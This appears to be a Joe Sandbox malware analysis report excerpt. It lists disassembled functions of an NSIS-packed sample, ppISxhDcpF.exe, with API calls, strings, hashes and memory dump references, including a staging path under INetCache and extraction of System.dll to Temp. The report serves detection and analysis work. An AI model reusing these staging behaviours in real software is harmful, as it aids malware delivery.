Opcode ID: 1b384d1f77ad73b90eb4ead2ce7446fbf64eb66176232e5d4eff2d39ff252f29
Instruction ID: 3415ad5ee5f1eed3d2c0e447cb4c4d8a0153f3b0974deb3f023f39c7f2583bdf
Opcode Fuzzy Hash: 1b384d1f77ad73b90eb4ead2ce7446fbf64eb66176232e5d4eff2d39ff252f29
Instruction Fuzzy Hash: A361CA706406006FD320AF66AD46F2B3A6CEB8474AF40553FF941B22E2DB7D5D41CA2D

Function 00402DEE Relevance: 26.4, APIs: 5, Strings: 10, Instructions: 182
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00402DFF
GetModuleFileNameW.KERNEL32(00000000,C:\Users\user\Desktop\ppISxhDcpF.exe,00000400,?,?,00000000,0040353A,?), ref: 00402E1B

Part of subcall function 00405C2A: GetFileAttributesW.KERNELBASE(00000003,00402E2E,C:\Users\user\Desktop\ppISxhDcpF.exe,80000000,00000003,?,?,00000000,0040353A,?), ref: 00405C2E
Part of subcall function 00405C2A: CreateFileW.KERNELBASE(?,?,00000001,00000000,?,00000001,00000000,?,?,00000000,0040353A,?), ref: 00405C50

GetFileSize.KERNEL32(00000000,00000000,00443000,00000000,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\ppISxhDcpF.exe,C:\Users\user\Desktop\ppISxhDcpF.exe,80000000,00000003,?,?,00000000,0040353A,?), ref: 00402E67

Strings

Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author , xrefs: 00402FC6
Inst, xrefs: 00402ED3
C:\Users\user\Desktop, xrefs: 00402E49, 00402E4E, 00402E54
Error launching installer, xrefs: 00402E3E
Null, xrefs: 00402EE5
soft, xrefs: 00402EDC
C:\Users\user\Desktop\ppISxhDcpF.exe, xrefs: 00402E05, 00402E14, 00402E28, 00402E48
(*B, xrefs: 00402E7C
C:\Users\user\AppData\Local\Temp\, xrefs: 00402DF5
"C:\Users\user\Desktop\ppISxhDcpF.exe", xrefs: 00402DF4

Memory Dump Source

Source File: 00000000.00000002.1990472937.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1990457155.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990496635.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990626450.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ppISxhDcpF.jbxd

Similarity

API ID: File$AttributesCountCreateModuleNameSizeTick
String ID: "C:\Users\user\Desktop\ppISxhDcpF.exe"$(*B$C:\Users\user\AppData\Local\Temp\$C:\Users\user\Desktop$C:\Users\user\Desktop\ppISxhDcpF.exe$Error launching installer$Inst$Installer integrity check has failed. Common causes includeincomplete download and damaged media. Contact theinstaller's author $Null$soft
API String ID: 4283519449-2032901591
Opcode ID: 4e6222d9f8d31f850ab2b6b3c84cade23aa30136a505619e7e62f3ee6ab772f2
Instruction ID: 7d4f9fc7c678da67c97c1a1890296b71ec8e814f853b941ab64c238268a70fe9
Opcode Fuzzy Hash: 4e6222d9f8d31f850ab2b6b3c84cade23aa30136a505619e7e62f3ee6ab772f2
Instruction Fuzzy Hash: AF51F731904205ABDB209F61DE89B9F7BB8EB44394F14403BF904B62C1C7B89D409BAD

Function 00401767 Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 145
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcatW.KERNEL32(00000000,00000000,Call,C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\nonactor,?,?,00000031), ref: 004017A8
CompareFileTime.KERNEL32(-00000014,?,Call,Call,00000000,00000000,Call,C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\nonactor,?,?,00000031), ref: 004017CD

Part of subcall function 00406055: lstrcpynW.KERNEL32(0040A300,0040A300,00000400,00403350,00433F00,NSIS Error), ref: 00406062

Part of subcall function 004051B4: lstrlenW.KERNEL32(0042C248,00000000,0041D820,755723A0,?,?,?,?,?,?,?,?,?,0040318B,00000000,?), ref: 004051EC
Part of subcall function 004051B4: lstrlenW.KERNEL32(0040318B,0042C248,00000000,0041D820,755723A0,?,?,?,?,?,?,?,?,?,0040318B,00000000), ref: 004051FC
Part of subcall function 004051B4: lstrcatW.KERNEL32(0042C248,0040318B,0040318B,0042C248,00000000,0041D820,755723A0), ref: 0040520F
Part of subcall function 004051B4: SetWindowTextW.USER32(0042C248,0042C248), ref: 00405221
Part of subcall function 004051B4: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405247
Part of subcall function 004051B4: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405261
Part of subcall function 004051B4: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040526F

Strings

C:\Users\user\AppData\Local\Temp\nscAF7B.tmp, xrefs: 00401819, 00401837
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\nonactor, xrefs: 00401796
Call, xrefs: 00401785, 0040178E, 0040179B, 004017AD, 004017B9, 004017EF, 00401805, 00401823, 0040185F, 004018E0, 004018E9, 004018F3, 004018FE
C:\Users\user\AppData\Local\Temp\nscAF7B.tmp\System.dll, xrefs: 0040182D, 00401849

Memory Dump Source

Source File: 00000000.00000002.1990472937.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1990457155.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990496635.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990626450.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ppISxhDcpF.jbxd

Similarity

API ID: MessageSend$lstrcatlstrlen$CompareFileTextTimeWindowlstrcpyn
String ID: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\nonactor$C:\Users\user\AppData\Local\Temp\nscAF7B.tmp$C:\Users\user\AppData\Local\Temp\nscAF7B.tmp\System.dll$Call
API String ID: 1941528284-2940166868
Opcode ID: 7eb387cec2b929145506f0f371aad0ef0a8c00339c8b79c916bd0341b2f4fd7b
Instruction ID: 02e4f6238df89927c362e8fae2a75ca1a565c16d749b69ec27d3a85cbadddcd8
Opcode Fuzzy Hash: 7eb387cec2b929145506f0f371aad0ef0a8c00339c8b79c916bd0341b2f4fd7b
Instruction Fuzzy Hash: 0941B631900515BACF11BFB5CC45EAF7679EF05328B24423BF522B10E1DB3C86519A6D

Function 00403027 Relevance: 12.4, APIs: 4, Strings: 3, Instructions: 166
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00403091
GetTickCount.KERNEL32 ref: 00403138
MulDiv.KERNEL32(7FFFFFFF,?,?), ref: 00403161
wsprintfW.USER32 ref: 00403174

Strings

... %d%%, xrefs: 0040316E
jA, xrefs: 004030E7
jA, xrefs: 004031F1

Memory Dump Source

Source File: 00000000.00000002.1990472937.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1990457155.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990496635.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990626450.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ppISxhDcpF.jbxd

Similarity

API ID: CountTick$wsprintf
String ID: jA$ jA$... %d%%
API String ID: 551687249-2167919867
Opcode ID: d6d85bbee09884fc6a4e27a5c727532f93391e72c67541d57332e7913648c049
Instruction ID: 9abceb1f43df10d1a821086e1d45a58eca4464abfa5f2a46825b956852eb5d51
Opcode Fuzzy Hash: d6d85bbee09884fc6a4e27a5c727532f93391e72c67541d57332e7913648c049
Instruction Fuzzy Hash: AF517C71901259EBDB10CF65DA44BAE7BB8AF05766F10417FF811B62C0C7789E40CBAA

Function 004025E5 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 151
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ReadFile.KERNELBASE(?,?,?,?), ref: 0040264D
MultiByteToWideChar.KERNEL32(?,?,?,?,?,00000001), ref: 00402688
SetFilePointer.KERNELBASE(?,?,?,00000001,?,?,?,?,?,00000001), ref: 004026AB
MultiByteToWideChar.KERNEL32(?,?,?,00000000,?,00000001,?,00000001,?,?,?,?,?,00000001), ref: 004026C1

Part of subcall function 00405D0B: SetFilePointer.KERNEL32(?,00000000,00000000,00000001), ref: 00405D21

SetFilePointer.KERNEL32(?,?,?,00000001,?,?,00000002), ref: 0040276D

Strings

9, xrefs: 00402630

Memory Dump Source

Source File: 00000000.00000002.1990472937.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1990457155.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990496635.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990626450.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ppISxhDcpF.jbxd

Similarity

API ID: File$Pointer$ByteCharMultiWide$Read
String ID: 9
API String ID: 163830602-2366072709
Opcode ID: 1e0cadf04f88ccade5697334c954c2e9868fb264b6ac47f65209ed57e79425ed
Instruction ID: c11c119823ef092d14edb4d445d1eebecf1e4ba29e3308019af08aa6c5ad61e3
Opcode Fuzzy Hash: 1e0cadf04f88ccade5697334c954c2e9868fb264b6ac47f65209ed57e79425ed
Instruction Fuzzy Hash: 43510874D00219AADF209F94CA88ABEB779FF04344F50447BE501B72E0D7B99D42DB69

Function 0040237B Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 71
registrystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegCreateKeyExW.KERNELBASE(00000000,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004023B9
lstrlenW.KERNEL32(C:\Users\user\AppData\Local\Temp\nscAF7B.tmp,00000023,?,?,?,?,?,?,?,00000011,00000002), ref: 004023D9
RegSetValueExW.KERNELBASE(?,?,?,?,C:\Users\user\AppData\Local\Temp\nscAF7B.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 00402415
RegCloseKey.KERNELBASE(?,?,?,C:\Users\user\AppData\Local\Temp\nscAF7B.tmp,00000000,?,?,?,?,?,?,?,00000011,00000002), ref: 004024F6

Strings

C:\Users\user\AppData\Local\Temp\nscAF7B.tmp, xrefs: 004023CA, 004023D8, 004023EF, 004023FF, 0040240A

Memory Dump Source

Source File: 00000000.00000002.1990472937.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1990457155.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990496635.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990626450.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ppISxhDcpF.jbxd

Similarity

API ID: CloseCreateValuelstrlen
String ID: C:\Users\user\AppData\Local\Temp\nscAF7B.tmp
API String ID: 1356686001-558323201
Opcode ID: 16ccbc1a4839035df8dee6c69b1955b51d84c24cc9eb413e0f302de5cc057626
Instruction ID: e0a93677b1043ce4e8fea40acd1fa81b7363c56b112b112c42ce1ea238d19e9d
Opcode Fuzzy Hash: 16ccbc1a4839035df8dee6c69b1955b51d84c24cc9eb413e0f302de5cc057626
Instruction Fuzzy Hash: 87118E71A00108BFEB10AFA5DE89EAEB67DEB44358F11403AF904B61D1D7B85E409668

Function 00405683 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 39
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateDirectoryW.KERNELBASE(?,0040A300,C:\Users\user\AppData\Local\Temp\), ref: 004056C6
GetLastError.KERNEL32 ref: 004056DA
SetFileSecurityW.ADVAPI32(?,80000007,00000001), ref: 004056EF
GetLastError.KERNEL32 ref: 004056F9

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 004056A9

Memory Dump Source

Source File: 00000000.00000002.1990472937.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1990457155.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990496635.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990626450.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ppISxhDcpF.jbxd

Similarity

API ID: ErrorLast$CreateDirectoryFileSecurity
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 3449924974-4083868402
Opcode ID: 9e16c060b6dacf19867b3a219a4d1c108d16143e5081b661a232c151e35074dd
Instruction ID: b9d54522e8c2a6a11acfe34e4faeeda892d25e5cd719c7a25251d408d6c76708
Opcode Fuzzy Hash: 9e16c060b6dacf19867b3a219a4d1c108d16143e5081b661a232c151e35074dd
Instruction Fuzzy Hash: C8011A71D00619DBDF009FA0CA487EFBBB8EF14315F50443AD549B6190E7799604CFA9

Function 10001759 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 118
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 10001B18: GlobalFree.KERNEL32(?), ref: 10001D83
Part of subcall function 10001B18: GlobalFree.KERNEL32(?), ref: 10001D88
Part of subcall function 10001B18: GlobalFree.KERNEL32(?), ref: 10001D8D

GlobalFree.KERNEL32(00000000), ref: 10001804
FreeLibrary.KERNEL32(?), ref: 1000187B
GlobalFree.KERNEL32(00000000), ref: 100018A0

Part of subcall function 10002286: GlobalAlloc.KERNEL32(?,00001020), ref: 100022B8

Part of subcall function 10002645: GlobalAlloc.KERNEL32(?,?,?,?,00000000,?,?,?,?,100017D5,00000000), ref: 100026B7

Part of subcall function 100015B4: lstrcpyW.KERNEL32(00000000,10004020,00000000,10001731,00000000), ref: 100015CD

Strings

, xrefs: 10001881

Memory Dump Source

Source File: 00000000.00000002.2008032542.0000000010001000.00000020.00000001.01000000.00000004.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2008007393.0000000010000000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2008088602.0000000010003000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2008146266.0000000010005000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_ppISxhDcpF.jbxd

Similarity

API ID: Global$Free$Alloc$Librarylstrcpy
String ID:
API String ID: 1791698881-3916222277
Opcode ID: 3820d06b2144ad54ebddf171c2200ffff0f7cb9118403e7eb0aa07fa6a87fa13
Instruction ID: d353a68b508970880cf9150dbe01e0f77130c4103e9cfdf2e47557ee24e57a3c
Opcode Fuzzy Hash: 3820d06b2144ad54ebddf171c2200ffff0f7cb9118403e7eb0aa07fa6a87fa13
Instruction Fuzzy Hash: 5E31BF75804241AAFB14DF749CC9BDA37E8FF053D0F158065FA0A9A08FDF74A9848761

Function 00405C59 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 37
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTickCount.KERNEL32 ref: 00405C77
GetTempFileNameW.KERNELBASE(0040A300,?,00000000,?,?,?,00000000,0040329E,1033,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004034CC), ref: 00405C92

Strings

nsa, xrefs: 00405C66
C:\Users\user\AppData\Local\Temp\, xrefs: 00405C5E

Memory Dump Source

Source File: 00000000.00000002.1990472937.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1990457155.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990496635.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990626450.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ppISxhDcpF.jbxd

Similarity

API ID: CountFileNameTempTick
String ID: C:\Users\user\AppData\Local\Temp\$nsa
API String ID: 1716503409-1331003597
Opcode ID: cb5392dd6a621c673a260bf01be68eb44352edb4da8eb2a8f5e3bee52ca40139
Instruction ID: f587d7e23cd8e79aba5dfcc9fd1c49406dd64d8aef4a88ed345cfe548f7336ea
Opcode Fuzzy Hash: cb5392dd6a621c673a260bf01be68eb44352edb4da8eb2a8f5e3bee52ca40139
Instruction Fuzzy Hash: BAF06D76A00708BFEB008B59ED05A9FBBA8EB91750F10403AE900F7180E6B49A548B68

Function 004063BF Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 34
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryW.KERNEL32(?,00000104), ref: 004063D6
wsprintfW.USER32 ref: 00406411
LoadLibraryW.KERNELBASE(?), ref: 00406421

Strings

%s%S.dll, xrefs: 0040640B

Memory Dump Source

Source File: 00000000.00000002.1990472937.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1990457155.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990496635.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990626450.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ppISxhDcpF.jbxd

Similarity

API ID: DirectoryLibraryLoadSystemwsprintf
String ID: %s%S.dll
API String ID: 2200240437-2744773210
Opcode ID: ebb0f172caec6dc837d07c814eb63f6b49a53cdbd21dad16a8e1c45d76cddad1
Instruction ID: 897e15d25a7328917349fb3201836a7725472686ce540cc24b04093dc9f4d60a
Opcode Fuzzy Hash: ebb0f172caec6dc837d07c814eb63f6b49a53cdbd21dad16a8e1c45d76cddad1
Instruction Fuzzy Hash: 81F0BB7051011997DB14AB68EE4DE9B366CEB00305F11447E9946F20D1EB7CDA69CBE8

Function 004015B9 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 65COMMON

Download Yara Rule

APIs

Part of subcall function 00405AB4: CharNextW.USER32(?,?,0042FA70,0040A300,00405B28,0042FA70,0042FA70, 4Wu,?,C:\Users\user\AppData\Local\Temp\,00405866,?,75573420,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\ppISxhDcpF.exe"), ref: 00405AC2
Part of subcall function 00405AB4: CharNextW.USER32(00000000), ref: 00405AC7
Part of subcall function 00405AB4: CharNextW.USER32(00000000), ref: 00405ADF

GetFileAttributesW.KERNELBASE(?,?,00000000,?,00000000,?), ref: 00401612

Part of subcall function 00405683: CreateDirectoryW.KERNELBASE(?,0040A300,C:\Users\user\AppData\Local\Temp\), ref: 004056C6

SetCurrentDirectoryW.KERNELBASE(?,C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\nonactor,?,00000000,?), ref: 00401645

Strings

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\nonactor, xrefs: 00401638

Memory Dump Source

Source File: 00000000.00000002.1990472937.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1990457155.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990496635.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990626450.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ppISxhDcpF.jbxd

Similarity

API ID: CharNext$Directory$AttributesCreateCurrentFile
String ID: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\rapiditetens\fremtving\nonactor
API String ID: 1892508949-1427884202
Opcode ID: 52ccde5ccace11c1ffa7f9329ea0f8b807946ffbe1ca103446376b1a06abf216
Instruction ID: 2a65e9898054e9c842dee46b5c7982ab048171bb6952f998b4aca48d6bd22bb3
Opcode Fuzzy Hash: 52ccde5ccace11c1ffa7f9329ea0f8b807946ffbe1ca103446376b1a06abf216
Instruction Fuzzy Hash: 96119331504504EBCF20BFA4CD4599E36A1EF44368B25093BEA46B62F2DA394A819E5D

Function 00405128 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 00405157
CallWindowProcW.USER32(?,?,?,?), ref: 004051A8

Part of subcall function 00404165: SendMessageW.USER32(?,00000000,00000000,00000000), ref: 00404177

Strings

, xrefs: 00405138

Memory Dump Source

Source File: 00000000.00000002.1990472937.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1990457155.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990496635.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990626450.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ppISxhDcpF.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: 2462b0bd117cba3fac64a39f9691424f836373fd1b16367001445a14a5683044
Instruction ID: 0347cf6c5ba133ca8876b90c0990050b6d60b288702db1d6ba02f1018bbb4e5f
Opcode Fuzzy Hash: 2462b0bd117cba3fac64a39f9691424f836373fd1b16367001445a14a5683044
Instruction Fuzzy Hash: 4C017C71A00609ABDF214F51DD80FAB3B26EB84754F104036FA047E1E1C77A8C92DE69

Function 00401FC3 Relevance: 4.6, APIs: 3, Instructions: 73libraryCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNELBASE(00000000,00000001,?), ref: 00401FEE

Part of subcall function 004051B4: lstrlenW.KERNEL32(0042C248,00000000,0041D820,755723A0,?,?,?,?,?,?,?,?,?,0040318B,00000000,?), ref: 004051EC
Part of subcall function 004051B4: lstrlenW.KERNEL32(0040318B,0042C248,00000000,0041D820,755723A0,?,?,?,?,?,?,?,?,?,0040318B,00000000), ref: 004051FC
Part of subcall function 004051B4: lstrcatW.KERNEL32(0042C248,0040318B,0040318B,0042C248,00000000,0041D820,755723A0), ref: 0040520F
Part of subcall function 004051B4: SetWindowTextW.USER32(0042C248,0042C248), ref: 00405221
Part of subcall function 004051B4: SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00405247
Part of subcall function 004051B4: SendMessageW.USER32(?,0000104D,00000000,00000001), ref: 00405261
Part of subcall function 004051B4: SendMessageW.USER32(?,00001013,?,00000000), ref: 0040526F

LoadLibraryExW.KERNEL32(00000000,?,?,00000001,?), ref: 00401FFF
FreeLibrary.KERNELBASE(?,?,000000F7,?,?,?,00000001,?), ref: 0040207C

Memory Dump Source

Source File: 00000000.00000002.1990472937.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1990457155.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990496635.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.0000000000437000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000043F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990510985.000000000045B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1990626450.000000000045D000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

